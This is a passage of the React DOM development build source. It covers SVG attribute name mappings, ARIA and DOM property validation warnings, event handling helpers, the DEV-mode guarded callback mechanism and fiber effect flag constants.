    unicoderange: 'unicodeRange',
    'unicode-range': 'unicodeRange',
    unitsperem: 'unitsPerEm',
    'units-per-em': 'unitsPerEm',
    unselectable: 'unselectable',
    valphabetic: 'vAlphabetic',
    'v-alphabetic': 'vAlphabetic',
    values: 'values',
    vectoreffect: 'vectorEffect',
    'vector-effect': 'vectorEffect',
    version: 'version',
    vertadvy: 'vertAdvY',
    'vert-adv-y': 'vertAdvY',
    vertoriginx: 'vertOriginX',
    'vert-origin-x': 'vertOriginX',
    vertoriginy: 'vertOriginY',
    'vert-origin-y': 'vertOriginY',
    vhanging: 'vHanging',
    'v-hanging': 'vHanging',
    videographic: 'vIdeographic',
    'v-ideographic': 'vIdeographic',
    viewbox: 'viewBox',
    viewtarget: 'viewTarget',
    visibility: 'visibility',
    vmathematical: 'vMathematical',
    'v-mathematical': 'vMathematical',
    vocab: 'vocab',
    widths: 'widths',
    wordspacing: 'wordSpacing',
    'word-spacing': 'wordSpacing',
    writingmode: 'writingMode',
    'writing-mode': 'writingMode',
    x1: 'x1',
    x2: 'x2',
    x: 'x',
    xchannelselector: 'xChannelSelector',
    xheight: 'xHeight',
    'x-height': 'xHeight',
    xlinkactuate: 'xlinkActuate',
    'xlink:actuate': 'xlinkActuate',
    xlinkarcrole: 'xlinkArcrole',
    'xlink:arcrole': 'xlinkArcrole',
    xlinkhref: 'xlinkHref',
    'xlink:href': 'xlinkHref',
    xlinkrole: 'xlinkRole',
    'xlink:role': 'xlinkRole',
    xlinkshow: 'xlinkShow',
    'xlink:show': 'xlinkShow',
    xlinktitle: 'xlinkTitle',
    'xlink:title': 'xlinkTitle',
    xlinktype: 'xlinkType',
    'xlink:type': 'xlinkType',
    xmlbase: 'xmlBase',
    'xml:base': 'xmlBase',
    xmllang: 'xmlLang',
    'xml:lang': 'xmlLang',
    xmlns: 'xmlns',
    'xml:space': 'xmlSpace',
    xmlnsxlink: 'xmlnsXlink',
    'xmlns:xlink': 'xmlnsXlink',
    xmlspace: 'xmlSpace',
    y1: 'y1',
    y2: 'y2',
    y: 'y',
    ychannelselector: 'yChannelSelector',
    z: 'z',
    zoomandpan: 'zoomAndPan'
  };

  var ariaProperties = {
    'aria-current': 0,
    // state
    'aria-description': 0,
    'aria-details': 0,
    'aria-disabled': 0,
    // state
    'aria-hidden': 0,
    // state
    'aria-invalid': 0,
    // state
    'aria-keyshortcuts': 0,
    'aria-label': 0,
    'aria-roledescription': 0,
    // Widget Attributes
    'aria-autocomplete': 0,
    'aria-checked': 0,
    'aria-expanded': 0,
    'aria-haspopup': 0,
    'aria-level': 0,
    'aria-modal': 0,
    'aria-multiline': 0,
    'aria-multiselectable': 0,
    'aria-orientation': 0,
    'aria-placeholder': 0,
    'aria-pressed': 0,
    'aria-readonly': 0,
    'aria-required': 0,
    'aria-selected': 0,
    'aria-sort': 0,
    'aria-valuemax': 0,
    'aria-valuemin': 0,
    'aria-valuenow': 0,
    'aria-valuetext': 0,
    // Live Region Attributes
    'aria-atomic': 0,
    'aria-busy': 0,
    'aria-live': 0,
    'aria-relevant': 0,
    // Drag-and-Drop Attributes
    'aria-dropeffect': 0,
    'aria-grabbed': 0,
    // Relationship Attributes
    'aria-activedescendant': 0,
    'aria-colcount': 0,
    'aria-colindex': 0,
    'aria-colspan': 0,
    'aria-controls': 0,
    'aria-describedby': 0,
    'aria-errormessage': 0,
    'aria-flowto': 0,
    'aria-labelledby': 0,
    'aria-owns': 0,
    'aria-posinset': 0,
    'aria-rowcount': 0,
    'aria-rowindex': 0,
    'aria-rowspan': 0,
    'aria-setsize': 0
  };

  var warnedProperties = {};
  var rARIA = new RegExp('^(aria)-[' + ATTRIBUTE_NAME_CHAR + ']*$');
  var rARIACamel = new RegExp('^(aria)[A-Z][' + ATTRIBUTE_NAME_CHAR + ']*$');

  function validateProperty(tagName, name) {
    {
      if (hasOwnProperty.call(warnedProperties, name) && warnedProperties[name]) {
        return true;
      }

      if (rARIACamel.test(name)) {
        var ariaName = 'aria-' + name.slice(4).toLowerCase();
        var correctName = ariaProperties.hasOwnProperty(ariaName) ? ariaName : null; // If this is an aria-* attribute, but is not listed in the known DOM
        // DOM properties, then it is an invalid aria-* attribute.

        if (correctName == null) {
          error('Invalid ARIA attribute `%s`. ARIA attributes follow the pattern aria-* and must be lowercase.', name);

          warnedProperties[name] = true;
          return true;
        } // aria-* attributes should be lowercase; suggest the lowercase version.


        if (name !== correctName) {
          error('Invalid ARIA attribute `%s`. Did you mean `%s`?', name, correctName);

          warnedProperties[name] = true;
          return true;
        }
      }

      if (rARIA.test(name)) {
        var lowerCasedName = name.toLowerCase();
        var standardName = ariaProperties.hasOwnProperty(lowerCasedName) ? lowerCasedName : null; // If this is an aria-* attribute, but is not listed in the known DOM
        // DOM properties, then it is an invalid aria-* attribute.

        if (standardName == null) {
          warnedProperties[name] = true;
          return false;
        } // aria-* attributes should be lowercase; suggest the lowercase version.


        if (name !== standardName) {
          error('Unknown ARIA attribute `%s`. Did you mean `%s`?', name, standardName);

          warnedProperties[name] = true;
          return true;
        }
      }
    }

    return true;
  }

  function warnInvalidARIAProps(type, props) {
    {
      var invalidProps = [];

      for (var key in props) {
        var isValid = validateProperty(type, key);

        if (!isValid) {
          invalidProps.push(key);
        }
      }

      var unknownPropString = invalidProps.map(function (prop) {
        return '`' + prop + '`';
      }).join(', ');

      if (invalidProps.length === 1) {
        error('Invalid aria prop %s on <%s> tag. ' + 'For details, see https://reactjs.org/link/invalid-aria-props', unknownPropString, type);
      } else if (invalidProps.length > 1) {
        error('Invalid aria props %s on <%s> tag. ' + 'For details, see https://reactjs.org/link/invalid-aria-props', unknownPropString, type);
      }
    }
  }

  function validateProperties(type, props) {
    if (isCustomComponent(type, props)) {
      return;
    }

    warnInvalidARIAProps(type, props);
  }

  var didWarnValueNull = false;
  function validateProperties$1(type, props) {
    {
      if (type !== 'input' && type !== 'textarea' && type !== 'select') {
        return;
      }

      if (props != null && props.value === null && !didWarnValueNull) {
        didWarnValueNull = true;

        if (type === 'select' && props.multiple) {
          error('`value` prop on `%s` should not be null. ' + 'Consider using an empty array when `multiple` is set to `true` ' + 'to clear the component or `undefined` for uncontrolled components.', type);
        } else {
          error('`value` prop on `%s` should not be null. ' + 'Consider using an empty string to clear the component or `undefined` ' + 'for uncontrolled components.', type);
        }
      }
    }
  }

  var validateProperty$1 = function () {};

  {
    var warnedProperties$1 = {};
    var EVENT_NAME_REGEX = /^on./;
    var INVALID_EVENT_NAME_REGEX = /^on[^A-Z]/;
    var rARIA$1 = new RegExp('^(aria)-[' + ATTRIBUTE_NAME_CHAR + ']*$');
    var rARIACamel$1 = new RegExp('^(aria)[A-Z][' + ATTRIBUTE_NAME_CHAR + ']*$');

    validateProperty$1 = function (tagName, name, value, eventRegistry) {
      if (hasOwnProperty.call(warnedProperties$1, name) && warnedProperties$1[name]) {
        return true;
      }

      var lowerCasedName = name.toLowerCase();

      if (lowerCasedName === 'onfocusin' || lowerCasedName === 'onfocusout') {
        error('React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' + 'All React events are normalized to bubble, so onFocusIn and onFocusOut ' + 'are not needed/supported by React.');

        warnedProperties$1[name] = true;
        return true;
      } // We can't rely on the event system being injected on the server.


      if (eventRegistry != null) {
        var registrationNameDependencies = eventRegistry.registrationNameDependencies,
            possibleRegistrationNames = eventRegistry.possibleRegistrationNames;

        if (registrationNameDependencies.hasOwnProperty(name)) {
          return true;
        }

        var registrationName = possibleRegistrationNames.hasOwnProperty(lowerCasedName) ? possibleRegistrationNames[lowerCasedName] : null;

        if (registrationName != null) {
          error('Invalid event handler property `%s`. Did you mean `%s`?', name, registrationName);

          warnedProperties$1[name] = true;
          return true;
        }

        if (EVENT_NAME_REGEX.test(name)) {
          error('Unknown event handler property `%s`. It will be ignored.', name);

          warnedProperties$1[name] = true;
          return true;
        }
      } else if (EVENT_NAME_REGEX.test(name)) {
        // If no event plugins have been injected, we are in a server environment.
        // So we can't tell if the event name is correct for sure, but we can filter
        // out known bad ones like `onclick`. We can't suggest a specific replacement though.
        if (INVALID_EVENT_NAME_REGEX.test(name)) {
          error('Invalid event handler property `%s`. ' + 'React events use the camelCase naming convention, for example `onClick`.', name);
        }

        warnedProperties$1[name] = true;
        return true;
      } // Let the ARIA attribute hook validate ARIA attributes


      if (rARIA$1.test(name) || rARIACamel$1.test(name)) {
        return true;
      }

      if (lowerCasedName === 'innerhtml') {
        error('Directly setting property `innerHTML` is not permitted. ' + 'For more information, lookup documentation on `dangerouslySetInnerHTML`.');

        warnedProperties$1[name] = true;
        return true;
      }

      if (lowerCasedName === 'aria') {
        error('The `aria` attribute is reserved for future use in React. ' + 'Pass individual `aria-` attributes instead.');

        warnedProperties$1[name] = true;
        return true;
      }

      if (lowerCasedName === 'is' && value !== null && value !== undefined && typeof value !== 'string') {
        error('Received a `%s` for a string attribute `is`. If this is expected, cast ' + 'the value to a string.', typeof value);

        warnedProperties$1[name] = true;
        return true;
      }

      if (typeof value === 'number' && isNaN(value)) {
        error('Received NaN for the `%s` attribute. If this is expected, cast ' + 'the value to a string.', name);

        warnedProperties$1[name] = true;
        return true;
      }

      var propertyInfo = getPropertyInfo(name);
      var isReserved = propertyInfo !== null && propertyInfo.type === RESERVED; // Known attributes should match the casing specified in the property config.

      if (possibleStandardNames.hasOwnProperty(lowerCasedName)) {
        var standardName = possibleStandardNames[lowerCasedName];

        if (standardName !== name) {
          error('Invalid DOM property `%s`. Did you mean `%s`?', name, standardName);

          warnedProperties$1[name] = true;
          return true;
        }
      } else if (!isReserved && name !== lowerCasedName) {
        // Unknown attributes should have lowercase casing since that's how they
        // will be cased anyway with server rendering.
        error('React does not recognize the `%s` prop on a DOM element. If you ' + 'intentionally want it to appear in the DOM as a custom ' + 'attribute, spell it as lowercase `%s` instead. ' + 'If you accidentally passed it from a parent component, remove ' + 'it from the DOM element.', name, lowerCasedName);

        warnedProperties$1[name] = true;
        return true;
      }

      if (typeof value === 'boolean' && shouldRemoveAttributeWithWarning(name, value, propertyInfo, false)) {
        if (value) {
          error('Received `%s` for a non-boolean attribute `%s`.\n\n' + 'If you want to write it to the DOM, pass a string instead: ' + '%s="%s" or %s={value.toString()}.', value, name, name, value, name);
        } else {
          error('Received `%s` for a non-boolean attribute `%s`.\n\n' + 'If you want to write it to the DOM, pass a string instead: ' + '%s="%s" or %s={value.toString()}.\n\n' + 'If you used to conditionally omit it with %s={condition && value}, ' + 'pass %s={condition ? value : undefined} instead.', value, name, name, value, name, name, name);
        }

        warnedProperties$1[name] = true;
        return true;
      } // Now that we've validated casing, do not validate
      // data types for reserved props


      if (isReserved) {
        return true;
      } // Warn when a known attribute is a bad type


      if (shouldRemoveAttributeWithWarning(name, value, propertyInfo, false)) {
        warnedProperties$1[name] = true;
        return false;
      } // Warn when passing the strings 'false' or 'true' into a boolean prop


      if ((value === 'false' || value === 'true') && propertyInfo !== null && propertyInfo.type === BOOLEAN) {
        error('Received the string `%s` for the boolean attribute `%s`. ' + '%s ' + 'Did you mean %s={%s}?', value, name, value === 'false' ? 'The browser will interpret it as a truthy value.' : 'Although this works, it will not work as expected if you pass the string "false".', name, value);

        warnedProperties$1[name] = true;
        return true;
      }

      return true;
    };
  }

  var warnUnknownProperties = function (type, props, eventRegistry) {
    {
      var unknownProps = [];

      for (var key in props) {
        var isValid = validateProperty$1(type, key, props[key], eventRegistry);

        if (!isValid) {
          unknownProps.push(key);
        }
      }

      var unknownPropString = unknownProps.map(function (prop) {
        return '`' + prop + '`';
      }).join(', ');

      if (unknownProps.length === 1) {
        error('Invalid value for prop %s on <%s> tag. Either remove it from the element, ' + 'or pass a string or number value to keep it in the DOM. ' + 'For details, see https://reactjs.org/link/attribute-behavior ', unknownPropString, type);
      } else if (unknownProps.length > 1) {
        error('Invalid values for props %s on <%s> tag. Either remove them from the element, ' + 'or pass a string or number value to keep them in the DOM. ' + 'For details, see https://reactjs.org/link/attribute-behavior ', unknownPropString, type);
      }
    }
  };

  function validateProperties$2(type, props, eventRegistry) {
    if (isCustomComponent(type, props)) {
      return;
    }

    warnUnknownProperties(type, props, eventRegistry);
  }

  var IS_EVENT_HANDLE_NON_MANAGED_NODE = 1;
  var IS_NON_DELEGATED = 1 << 1;
  var IS_CAPTURE_PHASE = 1 << 2;
  // set to LEGACY_FB_SUPPORT. LEGACY_FB_SUPPORT only gets set when
  // we call willDeferLaterForLegacyFBSupport, thus not bailing out
  // will result in endless cycles like an infinite loop.
  // We also don't want to defer during event replaying.

  var SHOULD_NOT_PROCESS_POLYFILL_EVENT_PLUGINS = IS_EVENT_HANDLE_NON_MANAGED_NODE | IS_NON_DELEGATED | IS_CAPTURE_PHASE;

  // This exists to avoid circular dependency between ReactDOMEventReplaying
  // and DOMPluginEventSystem.
  var currentReplayingEvent = null;
  function setReplayingEvent(event) {
    {
      if (currentReplayingEvent !== null) {
        error('Expected currently replaying event to be null. This error ' + 'is likely caused by a bug in React. Please file an issue.');
      }
    }

    currentReplayingEvent = event;
  }
  function resetReplayingEvent() {
    {
      if (currentReplayingEvent === null) {
        error('Expected currently replaying event to not be null. This error ' + 'is likely caused by a bug in React. Please file an issue.');
      }
    }

    currentReplayingEvent = null;
  }
  function isReplayingEvent(event) {
    return event === currentReplayingEvent;
  }

  /**
   * Gets the target node from a native browser event by accounting for
   * inconsistencies in browser DOM APIs.
   *
   * @param {object} nativeEvent Native browser event.
   * @return {DOMEventTarget} Target node.
   */

  function getEventTarget(nativeEvent) {
    // Fallback to nativeEvent.srcElement for IE9
    // https://github.com/facebook/react/issues/12506
    var target = nativeEvent.target || nativeEvent.srcElement || window; // Normalize SVG <use> element events #4963

    if (target.correspondingUseElement) {
      target = target.correspondingUseElement;
    } // Safari may fire events on text nodes (Node.TEXT_NODE is 3).
    // @see http://www.quirksmode.org/js/events_properties.html


    return target.nodeType === TEXT_NODE ? target.parentNode : target;
  }

  var restoreImpl = null;
  var restoreTarget = null;
  var restoreQueue = null;

  function restoreStateOfTarget(target) {
    // We perform this translation at the end of the event loop so that we
    // always receive the correct fiber here
    var internalInstance = getInstanceFromNode(target);

    if (!internalInstance) {
      // Unmounted
      return;
    }

    if (typeof restoreImpl !== 'function') {
      throw new Error('setRestoreImplementation() needs to be called to handle a target for controlled ' + 'events. This error is likely caused by a bug in React. Please file an issue.');
    }

    var stateNode = internalInstance.stateNode; // Guard against Fiber being unmounted.

    if (stateNode) {
      var _props = getFiberCurrentPropsFromNode(stateNode);

      restoreImpl(internalInstance.stateNode, internalInstance.type, _props);
    }
  }

  function setRestoreImplementation(impl) {
    restoreImpl = impl;
  }
  function enqueueStateRestore(target) {
    if (restoreTarget) {
      if (restoreQueue) {
        restoreQueue.push(target);
      } else {
        restoreQueue = [target];
      }
    } else {
      restoreTarget = target;
    }
  }
  function needsStateRestore() {
    return restoreTarget !== null || restoreQueue !== null;
  }
  function restoreStateIfNeeded() {
    if (!restoreTarget) {
      return;
    }

    var target = restoreTarget;
    var queuedTargets = restoreQueue;
    restoreTarget = null;
    restoreQueue = null;
    restoreStateOfTarget(target);

    if (queuedTargets) {
      for (var i = 0; i < queuedTargets.length; i++) {
        restoreStateOfTarget(queuedTargets[i]);
      }
    }
  }

  // the renderer. Such as when we're dispatching events or if third party
  // libraries need to call batchedUpdates. Eventually, this API will go away when
  // everything is batched by default. We'll then have a similar API to opt-out of
  // scheduled work and instead do synchronous work.
  // Defaults

  var batchedUpdatesImpl = function (fn, bookkeeping) {
    return fn(bookkeeping);
  };

  var flushSyncImpl = function () {};

  var isInsideEventHandler = false;

  function finishEventHandler() {
    // Here we wait until all updates have propagated, which is important
    // when using controlled components within layers:
    // https://github.com/facebook/react/issues/1698
    // Then we restore state of any controlled component.
    var controlledComponentsHavePendingUpdates = needsStateRestore();

    if (controlledComponentsHavePendingUpdates) {
      // If a controlled event was fired, we may need to restore the state of
      // the DOM node back to the controlled value. This is necessary when React
      // bails out of the update without touching the DOM.
      // TODO: Restore state in the microtask, after the discrete updates flush,
      // instead of early flushing them here.
      flushSyncImpl();
      restoreStateIfNeeded();
    }
  }

  function batchedUpdates(fn, a, b) {
    if (isInsideEventHandler) {
      // If we are currently inside another batch, we need to wait until it
      // fully completes before restoring state.
      return fn(a, b);
    }

    isInsideEventHandler = true;

    try {
      return batchedUpdatesImpl(fn, a, b);
    } finally {
      isInsideEventHandler = false;
      finishEventHandler();
    }
  } // TODO: Replace with flushSync
  function setBatchingImplementation(_batchedUpdatesImpl, _discreteUpdatesImpl, _flushSyncImpl) {
    batchedUpdatesImpl = _batchedUpdatesImpl;
    flushSyncImpl = _flushSyncImpl;
  }

  function isInteractive(tag) {
    return tag === 'button' || tag === 'input' || tag === 'select' || tag === 'textarea';
  }

  function shouldPreventMouseEvent(name, type, props) {
    switch (name) {
      case 'onClick':
      case 'onClickCapture':
      case 'onDoubleClick':
      case 'onDoubleClickCapture':
      case 'onMouseDown':
      case 'onMouseDownCapture':
      case 'onMouseMove':
      case 'onMouseMoveCapture':
      case 'onMouseUp':
      case 'onMouseUpCapture':
      case 'onMouseEnter':
        return !!(props.disabled && isInteractive(type));

      default:
        return false;
    }
  }
  /**
   * @param {object} inst The instance, which is the source of events.
   * @param {string} registrationName Name of listener (e.g. `onClick`).
   * @return {?function} The stored callback.
   */


  function getListener(inst, registrationName) {
    var stateNode = inst.stateNode;

    if (stateNode === null) {
      // Work in progress (ex: onload events in incremental mode).
      return null;
    }

    var props = getFiberCurrentPropsFromNode(stateNode);

    if (props === null) {
      // Work in progress.
      return null;
    }

    var listener = props[registrationName];

    if (shouldPreventMouseEvent(registrationName, inst.type, props)) {
      return null;
    }

    if (listener && typeof listener !== 'function') {
      throw new Error("Expected `" + registrationName + "` listener to be a function, instead got a value of `" + typeof listener + "` type.");
    }

    return listener;
  }

  var passiveBrowserEventsSupported = false; // Check if browser support events with passive listeners
  // https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#Safely_detecting_option_support

  if (canUseDOM) {
    try {
      var options = {}; // $FlowFixMe: Ignore Flow complaining about needing a value

      Object.defineProperty(options, 'passive', {
        get: function () {
          passiveBrowserEventsSupported = true;
        }
      });
      window.addEventListener('test', options, options);
      window.removeEventListener('test', options, options);
    } catch (e) {
      passiveBrowserEventsSupported = false;
    }
  }

  function invokeGuardedCallbackProd(name, func, context, a, b, c, d, e, f) {
    var funcArgs = Array.prototype.slice.call(arguments, 3);

    try {
      func.apply(context, funcArgs);
    } catch (error) {
      this.onError(error);
    }
  }

  var invokeGuardedCallbackImpl = invokeGuardedCallbackProd;

  {
    // In DEV mode, we swap out invokeGuardedCallback for a special version
    // that plays more nicely with the browser's DevTools. The idea is to preserve
    // "Pause on exceptions" behavior. Because React wraps all user-provided
    // functions in invokeGuardedCallback, and the production version of
    // invokeGuardedCallback uses a try-catch, all user exceptions are treated
    // like caught exceptions, and the DevTools won't pause unless the developer
    // takes the extra step of enabling pause on caught exceptions. This is
    // unintuitive, though, because even though React has caught the error, from
    // the developer's perspective, the error is uncaught.
    //
    // To preserve the expected "Pause on exceptions" behavior, we don't use a
    // try-catch in DEV. Instead, we synchronously dispatch a fake event to a fake
    // DOM node, and call the user-provided callback from inside an event handler
    // for that fake event. If the callback throws, the error is "captured" using
    // a global event handler. But because the error happens in a different
    // event loop context, it does not interrupt the normal program flow.
    // Effectively, this gives us try-catch behavior without actually using
    // try-catch. Neat!
    // Check that the browser supports the APIs we need to implement our special
    // DEV version of invokeGuardedCallback
    if (typeof window !== 'undefined' && typeof window.dispatchEvent === 'function' && typeof document !== 'undefined' && typeof document.createEvent === 'function') {
      var fakeNode = document.createElement('react');

      invokeGuardedCallbackImpl = function invokeGuardedCallbackDev(name, func, context, a, b, c, d, e, f) {
        // If document doesn't exist we know for sure we will crash in this method
        // when we call document.createEvent(). However this can cause confusing
        // errors: https://github.com/facebook/create-react-app/issues/3482
        // So we preemptively throw with a better message instead.
        if (typeof document === 'undefined' || document === null) {
          throw new Error('The `document` global was defined when React was initialized, but is not ' + 'defined anymore. This can happen in a test environment if a component ' + 'schedules an update from an asynchronous callback, but the test has already ' + 'finished running. To solve this, you can either unmount the component at ' + 'the end of your test (and ensure that any asynchronous operations get ' + 'canceled in `componentWillUnmount`), or you can change the test itself ' + 'to be asynchronous.');
        }

        var evt = document.createEvent('Event');
        var didCall = false; // Keeps track of whether the user-provided callback threw an error. We
        // set this to true at the beginning, then set it to false right after
        // calling the function. If the function errors, `didError` will never be
        // set to false. This strategy works even if the browser is flaky and
        // fails to call our global error handler, because it doesn't rely on
        // the error event at all.

        var didError = true; // Keeps track of the value of window.event so that we can reset it
        // during the callback to let user code access window.event in the
        // browsers that support it.

        var windowEvent = window.event; // Keeps track of the descriptor of window.event to restore it after event
        // dispatching: https://github.com/facebook/react/issues/13688

        var windowEventDescriptor = Object.getOwnPropertyDescriptor(window, 'event');

        function restoreAfterDispatch() {
          // We immediately remove the callback from event listeners so that
          // nested `invokeGuardedCallback` calls do not clash. Otherwise, a
          // nested call would trigger the fake event handlers of any call higher
          // in the stack.
          fakeNode.removeEventListener(evtType, callCallback, false); // We check for window.hasOwnProperty('event') to prevent the
          // window.event assignment in both IE <= 10 as they throw an error
          // "Member not found" in strict mode, and in Firefox which does not
          // support window.event.

          if (typeof window.event !== 'undefined' && window.hasOwnProperty('event')) {
            window.event = windowEvent;
          }
        } // Create an event handler for our fake event. We will synchronously
        // dispatch our fake event using `dispatchEvent`. Inside the handler, we
        // call the user-provided callback.


        var funcArgs = Array.prototype.slice.call(arguments, 3);

        function callCallback() {
          didCall = true;
          restoreAfterDispatch();
          func.apply(context, funcArgs);
          didError = false;
        } // Create a global error event handler. We use this to capture the value
        // that was thrown. It's possible that this error handler will fire more
        // than once; for example, if non-React code also calls `dispatchEvent`
        // and a handler for that event throws. We should be resilient to most of
        // those cases. Even if our error event handler fires more than once, the
        // last error event is always used. If the callback actually does error,
        // we know that the last error event is the correct one, because it's not
        // possible for anything else to have happened in between our callback
        // erroring and the code that follows the `dispatchEvent` call below. If
        // the callback doesn't error, but the error event was fired, we know to
        // ignore it because `didError` will be false, as described above.


        var error; // Use this to track whether the error event is ever called.

        var didSetError = false;
        var isCrossOriginError = false;

        function handleWindowError(event) {
          error = event.error;
          didSetError = true;

          if (error === null && event.colno === 0 && event.lineno === 0) {
            isCrossOriginError = true;
          }

          if (event.defaultPrevented) {
            // Some other error handler has prevented default.
            // Browsers silence the error report if this happens.
            // We'll remember this to later decide whether to log it or not.
            if (error != null && typeof error === 'object') {
              try {
                error._suppressLogging = true;
              } catch (inner) {// Ignore.
              }
            }
          }
        } // Create a fake event type.


        var evtType = "react-" + (name ? name : 'invokeguardedcallback'); // Attach our event handlers

        window.addEventListener('error', handleWindowError);
        fakeNode.addEventListener(evtType, callCallback, false); // Synchronously dispatch our fake event. If the user-provided function
        // errors, it will trigger our global error handler.

        evt.initEvent(evtType, false, false);
        fakeNode.dispatchEvent(evt);

        if (windowEventDescriptor) {
          Object.defineProperty(window, 'event', windowEventDescriptor);
        }

        if (didCall && didError) {
          if (!didSetError) {
            // The callback errored, but the error event never fired.
            // eslint-disable-next-line react-internal/prod-error-codes
            error = new Error('An error was thrown inside one of your components, but React ' + "doesn't know what it was. This is likely due to browser " + 'flakiness. React does its best to preserve the "Pause on ' + 'exceptions" behavior of the DevTools, which requires some ' + "DEV-mode only tricks. It's possible that these don't work in " + 'your browser. Try triggering the error in production mode, ' + 'or switching to a modern browser. If you suspect that this is ' + 'actually an issue with React, please file an issue.');
          } else if (isCrossOriginError) {
            // eslint-disable-next-line react-internal/prod-error-codes
            error = new Error("A cross-origin error was thrown. React doesn't have access to " + 'the actual error object in development. ' + 'See https://reactjs.org/link/crossorigin-error for more information.');
          }

          this.onError(error);
        } // Remove our event listeners


        window.removeEventListener('error', handleWindowError);

        if (!didCall) {
          // Something went really wrong, and our event was not dispatched.
          // https://github.com/facebook/react/issues/16734
          // https://github.com/facebook/react/issues/16585
          // Fall back to the production implementation.
          restoreAfterDispatch();
          return invokeGuardedCallbackProd.apply(this, arguments);
        }
      };
    }
  }

  var invokeGuardedCallbackImpl$1 = invokeGuardedCallbackImpl;

  var hasError = false;
  var caughtError = null; // Used by event system to capture/rethrow the first error.

  var hasRethrowError = false;
  var rethrowError = null;
  var reporter = {
    onError: function (error) {
      hasError = true;
      caughtError = error;
    }
  };
  /**
   * Call a function while guarding against errors that happens within it.
   * Returns an error if it throws, otherwise null.
   *
   * In production, this is implemented using a try-catch. The reason we don't
   * use a try-catch directly is so that we can swap out a different
   * implementation in DEV mode.
   *
   * @param {String} name of the guard to use for logging or debugging
   * @param {Function} func The function to invoke
   * @param {*} context The context to use when calling the function
   * @param {...*} args Arguments for function
   */

  function invokeGuardedCallback(name, func, context, a, b, c, d, e, f) {
    hasError = false;
    caughtError = null;
    invokeGuardedCallbackImpl$1.apply(reporter, arguments);
  }
  /**
   * Same as invokeGuardedCallback, but instead of returning an error, it stores
   * it in a global so it can be rethrown by `rethrowCaughtError` later.
   * TODO: See if caughtError and rethrowError can be unified.
   *
   * @param {String} name of the guard to use for logging or debugging
   * @param {Function} func The function to invoke
   * @param {*} context The context to use when calling the function
   * @param {...*} args Arguments for function
   */

  function invokeGuardedCallbackAndCatchFirstError(name, func, context, a, b, c, d, e, f) {
    invokeGuardedCallback.apply(this, arguments);

    if (hasError) {
      var error = clearCaughtError();

      if (!hasRethrowError) {
        hasRethrowError = true;
        rethrowError = error;
      }
    }
  }
  /**
   * During execution of guarded functions we will capture the first error which
   * we will rethrow to be handled by the top level error handler.
   */

  function rethrowCaughtError() {
    if (hasRethrowError) {
      var error = rethrowError;
      hasRethrowError = false;
      rethrowError = null;
      throw error;
    }
  }
  function hasCaughtError() {
    return hasError;
  }
  function clearCaughtError() {
    if (hasError) {
      var error = caughtError;
      hasError = false;
      caughtError = null;
      return error;
    } else {
      throw new Error('clearCaughtError was called but no error was captured. This error ' + 'is likely caused by a bug in React. Please file an issue.');
    }
  }

  var ReactInternals = React.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;
  var _ReactInternals$Sched = ReactInternals.Scheduler,
      unstable_cancelCallback = _ReactInternals$Sched.unstable_cancelCallback,
      unstable_now = _ReactInternals$Sched.unstable_now,
      unstable_scheduleCallback = _ReactInternals$Sched.unstable_scheduleCallback,
      unstable_shouldYield = _ReactInternals$Sched.unstable_shouldYield,
      unstable_requestPaint = _ReactInternals$Sched.unstable_requestPaint,
      unstable_getFirstCallbackNode = _ReactInternals$Sched.unstable_getFirstCallbackNode,
      unstable_runWithPriority = _ReactInternals$Sched.unstable_runWithPriority,
      unstable_next = _ReactInternals$Sched.unstable_next,
      unstable_continueExecution = _ReactInternals$Sched.unstable_continueExecution,
      unstable_pauseExecution = _ReactInternals$Sched.unstable_pauseExecution,
      unstable_getCurrentPriorityLevel = _ReactInternals$Sched.unstable_getCurrentPriorityLevel,
      unstable_ImmediatePriority = _ReactInternals$Sched.unstable_ImmediatePriority,
      unstable_UserBlockingPriority = _ReactInternals$Sched.unstable_UserBlockingPriority,
      unstable_NormalPriority = _ReactInternals$Sched.unstable_NormalPriority,
      unstable_LowPriority = _ReactInternals$Sched.unstable_LowPriority,
      unstable_IdlePriority = _ReactInternals$Sched.unstable_IdlePriority,
      unstable_forceFrameRate = _ReactInternals$Sched.unstable_forceFrameRate,
      unstable_flushAllWithoutAsserting = _ReactInternals$Sched.unstable_flushAllWithoutAsserting,
      unstable_yieldValue = _ReactInternals$Sched.unstable_yieldValue,
      unstable_setDisableYieldValue = _ReactInternals$Sched.unstable_setDisableYieldValue;

  /**
   * `ReactInstanceMap` maintains a mapping from a public facing stateful
   * instance (key) and the internal representation (value). This allows public
   * methods to accept the user facing instance as an argument and map them back
   * to internal methods.
   *
   * Note that this module is currently shared and assumed to be stateless.
   * If this becomes an actual Map, that will break.
   */
  function get(key) {
    return key._reactInternals;
  }
  function has(key) {
    return key._reactInternals !== undefined;
  }
  function set(key, value) {
    key._reactInternals = value;
  }

  // Don't change these two values. They're used by React Dev Tools.
  var NoFlags =
  /*                      */
  0;
  var PerformedWork =
  /*                */
  1; // You can change the rest (and add more).

  var Placement =
  /*                    */
  2;
  var Update =
  /*                       */
  4;
  var ChildDeletion =
  /*                */
  16;
  var ContentReset =
  /*                 */
  32;
  var Callback =
  /*                     */
  64;
  var DidCapture =
  /*                   */
  128;
  var ForceClientRender =
  /*            */
  256;
  var Ref =
  /*                          */
  512;
  var Snapshot =
  /*                     */
  1024;
  var Passive =
  /*                      */
  2048;
  var Hydrating =
  /*                    */
  4096;
  var Visibility =
  /*                   */
  8192;
  var StoreConsistency =
  /*             */
  16384;
  var LifecycleEffectMask = Passive | Update | Callback | Ref | Snapshot | StoreConsistency; // Union of all commit flags (flags with the lifetime of a particular commit)

  var HostEffectMask =
  /*               */
  32767; // These are not really side effects, but we still reuse this field.

  var Incomplete =
  /*                   */
  32768;
  var ShouldCapture =
  /*                */
  65536;
  var ForceUpdateForLegacySuspense =
  /* */
  131072;
  var Forked =
  /*                       */
  1048576; // Static tags describe aspects of a fiber that are not specific to a render,
  // e.g. a fiber uses a passive effect (even if there are no updates on this particular render).
  // This enables us to defer more work in the unmount case,
  // since we can defer traversing the tree during layout to look for Passive effects,
  // and instead rely on the static flag as a signal that there may be cleanup work.

  var RefStatic =
  /*                    */
  2097152;
  var LayoutStatic =
  /*                 */
  4194304;
  var PassiveStatic =
  /*                */
  8388608; // These flags allow us to traverse to fibers that have effects on mount
  // without traversing the entire tree after every commit for
  // double invoking

  var MountLayoutDev =
  /*               */
  16777216;
  var MountPassiveDev =
  /*              */
  33554432; // Groups of flags that are used in the commit phase to skip over trees that
